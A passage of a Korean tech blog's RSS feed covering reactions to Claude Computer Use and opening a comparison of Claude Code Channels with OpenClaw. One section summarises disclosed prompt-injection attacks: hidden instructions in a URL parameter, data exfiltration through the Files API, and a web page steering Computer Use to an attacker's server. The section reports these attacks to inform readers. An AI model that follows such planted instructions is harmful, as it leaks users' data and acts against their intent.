/&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; HN 상위 댓글 (2026.3.23, 대규모 찬성)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;The most interesting thing about Claude Computer Use isn't what it can do &amp;mdash; it's how it fails. It's like watching someone who grew up without computers trying to use one. The gaps reveal exactly where human intuition fills in.&quot;&lt;br /&gt;(Claude&amp;nbsp;Computer&amp;nbsp;Use의&amp;nbsp;진짜&amp;nbsp;흥미로운&amp;nbsp;포인트는&amp;nbsp;성공&amp;nbsp;사례보다&amp;nbsp;실패&amp;nbsp;방식에&amp;nbsp;있습니다.&amp;nbsp;그&amp;nbsp;실패를&amp;nbsp;보고&amp;nbsp;있으면,&amp;nbsp;마치&amp;nbsp;컴퓨터&amp;nbsp;사용&amp;nbsp;문화에&amp;nbsp;익숙하지&amp;nbsp;않은&amp;nbsp;사람이&amp;nbsp;낯선&amp;nbsp;기계를&amp;nbsp;더듬거리며&amp;nbsp;다루는&amp;nbsp;모습처럼&amp;nbsp;느껴집니다.&amp;nbsp;그리고&amp;nbsp;바로&amp;nbsp;그&amp;nbsp;서툰&amp;nbsp;지점들을&amp;nbsp;통해,&amp;nbsp;평소에는&amp;nbsp;당연하게&amp;nbsp;여겼던&amp;nbsp;인간의&amp;nbsp;직관이&amp;nbsp;실제로&amp;nbsp;얼마나&amp;nbsp;많은&amp;nbsp;빈틈을&amp;nbsp;메우고&amp;nbsp;있었는지가&amp;nbsp;선명하게&amp;nbsp;보입니다.)&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; HN 상위 댓글 (2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;HN에서 특히 주목받은 프로젝트는 오픈소스 브라우저 자동화 도구 &lt;b&gt;Cerebellum&lt;/b&gt;과 macOS 키보드 트리거 기반 인터페이스 &lt;b&gt;Action&lt;/b&gt;이었다. 커뮤니티는 Claude가 직접 제공하는 기능보다, 이를 기반으로 만들어지는 파생 프로젝트들에 더 많은 관심을 보였다. &quot;API를 공개하면 커뮤니티가 나머지를 한다&quot;는 Anthropic의 전략이 이미 작동하고 있다는 평가였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 보안 섹션 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Claudy Day&quot;: Claude 프롬프트 인젝션 취약점 공개 (2026.3.18~19)&lt;/h3&gt;
&lt;div style=&quot;background-color: #fdf0f0; border: 2px solid #e74c3c; border-radius: 8px; padding: 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use 출시 직전인 &lt;b&gt;2026년 3월 18~19일&lt;/b&gt;, 보안 기업 Oasis Security가 Claude 관련 취약점 3건을 연달아 공개했다. 보안 커뮤니티는 이를 &quot;Claudy Day&quot;라 불렀다. 공식 CVE 번호는 아직 부여되지 않았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 12px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 1: URL 파라미터를 통한 보이지 않는 프롬프트 인젝션&lt;/b&gt; &amp;mdash; &lt;code&gt;claude.ai/new?q=&lt;/code&gt; 파라미터에 악성 지시를 삽입한 URL로 사용자를 유도하면, 사용자 모르게 Claude가 해당 지시를 실행할 수 있다. Computer Use 환경에서는 파일 시스템 접근으로 연결될 수 있어 위험도가 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 2: Files API를 통한 데이터 유출&lt;/b&gt; &amp;mdash; Claude의 Files API를 악용해 사용자의 민감한 데이터를 외부로 유출할 수 있는 경로가 발견됐다. Anthropic은 패치를 배포했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 3 (참고): ZombAIs 연구&lt;/b&gt; &amp;mdash; 보안 연구자 Johann Rehberger(embracethered.com)가 2024년 10월 발표한 별도 연구로, 악성 웹페이지를 탐색하는 Claude Computer Use가 콘텐츠에 숨겨진 명령을 따라 공격자 서버에 접속하는 흐름을 시연했다. Simon Willison이 자신의 블로그에서 이 연구를 인용&amp;middot;소개해 널리 알려졌다. &quot;LLM은 자신의 컨텍스트에 들어오는 지시를 출처와 무관하게 따르는 경향이 있다&quot;는 근본적 한계를 드러낸 사례다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;보안 연구자들은 &quot;Computer Use처럼 AI가 실제 시스템을 제어할수록 프롬프트 인젝션의 파급력이 커진다&quot;고 경고했다. Anthropic은 classifiers와 safeguards를 통해 이를 완화하고 있으나, 공격 기법은 계속 진화하는 만큼 주의가 필요하다.&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Oasis Security 블로그, 2026.3.18)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 한국 커뮤니티 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 커뮤니티&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;국내 테크 미디어:&lt;/b&gt; AI타임스, ZDNet 코리아 등에서 기능 소개 기사가 나왔으며, 전반적으로 &quot;실험적 사용에는 적합하나 기업 프로덕션 수준은 아직&quot;이라는 톤&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클리앙 등 커뮤니티:&lt;/b&gt; Max 플랜(월 $200, 약 30만원)의 사용량 정책에 대한 비판. &quot;하루에 여러 번 짧게 쓰면 월 중순에 한도 도달&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전반적 기대감:&lt;/b&gt; 빌 게이츠의 &quot;5년 안에 컴퓨터 사용 방식이 바뀐다&quot;에 대해 &lt;b&gt;&quot;5년도 길다&quot;&lt;/b&gt;는 반응&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Threads: 하입 vs 현실 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 종합 장단점 표 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시장 반응 종합 &amp;mdash; 장점과 한계&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: center; font-weight: 600; width: 50%;&quot;&gt;장점 (실사용자 기반)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: center; font-weight: 600; width: 50%;&quot;&gt;한계 (실사용자 기반)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Dispatch로 폰 &amp;rarr; Mac 원격 작업 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;macOS 전용 (Windows&amp;middot;Linux 미지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;파일 자체는 Mac 밖으로 나가지 않음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;스크린샷은 Anthropic 서버 전송 (개인정보 주의)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;테스트 실행, PR 작성 등 반복 작업 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;토큰 소모가 일반 대화의 10~20배&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;지시 언어 자유롭고 자연어로 충분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;팝업&amp;middot;CAPTCHA 등 예외 상황에서 자주 멈춤&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;복잡한 멀티앱 워크플로우 연결 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;직접 작업보다 느린 경우 많음 (스크린샷 루프)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Permission-First 설계로 기본 안전성 확보&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;프롬프트 인젝션 등 보안 위협 여전히 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0fff0;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;오픈소스 파생 프로젝트 생태계 형성 중&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #f5c6cb; padding: 12px; background-color: #fff5f5;&quot;&gt;복잡한 작업은 여러 번 재시도 필요, 아직 완전 자율 에이전트 수준 아님&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;위 내용은 커뮤니티 사용자 경험을 종합한 것이며, 개인 환경에 따라 다를 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 구독 플랜 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 구독 플랜&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 다음 구독 플랜에서 사용할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 소모 참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 매 동작마다 스크린샷을 캡처하고 분석하기 때문에, 일반 텍스트 대화보다 토큰 소모가 크다. Pro 플랜의 사용량 한도가 평소보다 빠르게 소진될 수 있으므로 참고하자.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Computer Use&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Dispatch&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Free&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;Pro&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&amp;nbsp;(리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;Max&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O (리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Team / Enterprise&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;X&amp;nbsp;(Computer Use 기능은 Pro/Max 전용)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;O&amp;nbsp;(Cowork 앱 자체는 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Computer Use는 &quot;말만 잘하는 AI&quot;에서 &lt;b&gt;실제로 화면을 조작해서 일을 처리하는 AI&lt;/b&gt;로 넘어가는 시도이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 내용:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 우선, 화면 제어 폴백:&lt;/b&gt; Slack이나 Calendar 같은 커넥터가 있으면 먼저 사용하고, 없으면 화면을 직접 제어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Dispatch와의 시너지:&lt;/b&gt; 폰에서 지시하면 Mac의 Claude가 화면을 띄워 작업 수행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OSWorld 72.5%:&lt;/b&gt; 인간 수준(72.36%, OSWorld 공식)에 접근하는 벤치마크 성능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Permission-First:&lt;/b&gt; 앱별 승인, 즉시 중단, 프롬프트 인젝션 방어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;아직 초기 단계:&lt;/b&gt; macOS 전용, 복잡한 작업은 재시도 필요, 화면 기반이라 느림&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;리서치 프리뷰&quot;로 낸 건 의도적이다. 완벽해질 때까지 기다리기보다, &lt;b&gt;실제 사용자한테 부딪혀보면서 고치겠다&lt;/b&gt;는 방식이다. Cowork도 그렇게 시작했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;빈 책상 위 컴퓨터가 혼자 화면을 띄우고 일하는 광경은 확실히 인상적이다. 다만 지금 당장은 &lt;b&gt;믿을 수 있는 앱에서, 민감하지 않은 작업&lt;/b&gt;부터 시도해보는 게 맞다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;공식 블로그:&lt;/b&gt; claude.com/blog/dispatch-and-computer-use (2026.3.23)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;제품 페이지:&lt;/b&gt; claude.com/product/cowork&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Vercept 인수:&lt;/b&gt; anthropic.com/news/acquires-vercept&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Computer Use 개발 과정:&lt;/b&gt; anthropic.com/news/developing-computer-use&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;안전 가이드:&lt;/b&gt; support.claude.com/en/articles/14128542&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 데스크탑 에이전트</category>
      <category>AI 화면 제어</category>
      <category>Anthropic</category>
      <category>Claude Computer Use</category>
      <category>claude cowork</category>
      <category>Claude Dispatch</category>
      <category>Computer Use</category>
      <category>맥 자동화</category>
      <category>클로드 Pro Max</category>
      <category>클로드 컴퓨터 사용</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/560</guid>
      <comments>https://goddaehee.tistory.com/560#entry560comment</comments>
      <pubDate>Wed, 25 Mar 2026 00:22:48 +0900</pubDate>
    </item>
    <item>
      <title>Claude Channels vs OpenClaw - 텔레그램으로 Claude Code 제어하기(Anthropic이 OpenClaw에 선전포고?)</title>
      <link>https://goddaehee.tistory.com/559</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 20일, Anthropic이 Claude Code &lt;b&gt;v2.1.80&lt;/b&gt;에 &lt;b&gt;Channels&lt;/b&gt;를 리서치 프리뷰로 추가했다. 이어서 v2.1.81에서 Permission Relay까지 더해졌다. 텔레그램이나 디스코드에서 메시지를 보내면 로컬에서 돌아가는 Claude Code 세션이 그 메시지를 받아 코드를 작성하고, 같은 채팅 앱으로 결과를 돌려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;커뮤니티에서는 이를 두고 &lt;b&gt;&quot;OpenClaw 킬러&quot;&lt;/b&gt;라고 부른다. 이미 24만 7천+ 스타(3월 초 기준)를 찍은 오픈소스 프로젝트 OpenClaw가 개척한 영역에 Anthropic이 공식적?? 본격적?? 으로 뛰어든 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vD54i/dJMcaf0gbT9/j6PUkco8J1SzdfM8rjxPGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvD54i%2FdJMcaf0gbT9%2Fj6PUkco8J1SzdfM8rjxPGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 이 두 가지를 직접 비교해보려 한다. 공식 문서 기반으로 아키텍처, 보안, 셋업, 지원 플랫폼과 관련된 내용을 알아보자.&amp;nbsp;&lt;/p&gt;
&lt;!-- X(트위터) 공식 영상 --&gt;
&lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
&lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2034761016320696565&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Channels란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channel = MCP 서버&lt;/li&gt;
&lt;li&gt;Push vs Pull 패러다임&lt;/li&gt;
&lt;li&gt;One-way vs Two-way 채널&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenClaw란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탄생 배경과 성장&lt;/li&gt;
&lt;li&gt;서버 기반 Always-on 아키텍처&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;아키텍처 비교: 근본적인 차이
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channels: 로컬 MCP 이벤트 수신&lt;/li&gt;
&lt;li&gt;OpenClaw: 서버 기반 상시 실행&lt;/li&gt;
&lt;li&gt;핵심 차이점 비교표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Channels: Pairing Code + Allowlist&lt;/li&gt;
&lt;li&gt;OpenClaw: 커뮤니티 기반 + 보안 이슈&lt;/li&gt;
&lt;li&gt;보안 비교표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;지원 플랫폼 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Channels 셋업 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요구사항&lt;/li&gt;
&lt;li&gt;Telegram 설정 (5분)&lt;/li&gt;
&lt;li&gt;Discord 설정 (10분)&lt;/li&gt;
&lt;li&gt;Fakechat으로 로컬 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커스텀 채널 만들기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Webhook Receiver 예제&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 사용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MacStories의 런치 나이트 테스트&lt;/li&gt;
&lt;li&gt;Permission Relay: 원격 승인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항과 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 실전 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자 반응 하이라이트&lt;/li&gt;
&lt;li&gt;실전 팁 7가지&lt;/li&gt;
&lt;li&gt;커뮤니티 프로젝트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 어떤 것을 선택할까&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Channels란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Channels란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code Channels&lt;/b&gt;는 2026년 3월 20일 v2.1.80에서 &lt;b&gt;리서치 프리뷰&lt;/b&gt;로 출시되었고, 이어서 v2.1.81에서 Permission Relay가 추가된 Anthropic 공식 기능이다. 핵심은 간단하다 &amp;mdash; &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;외부 시스템의 이벤트를 실행 중인 Claude Code 세션에 밀어 넣는 것&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
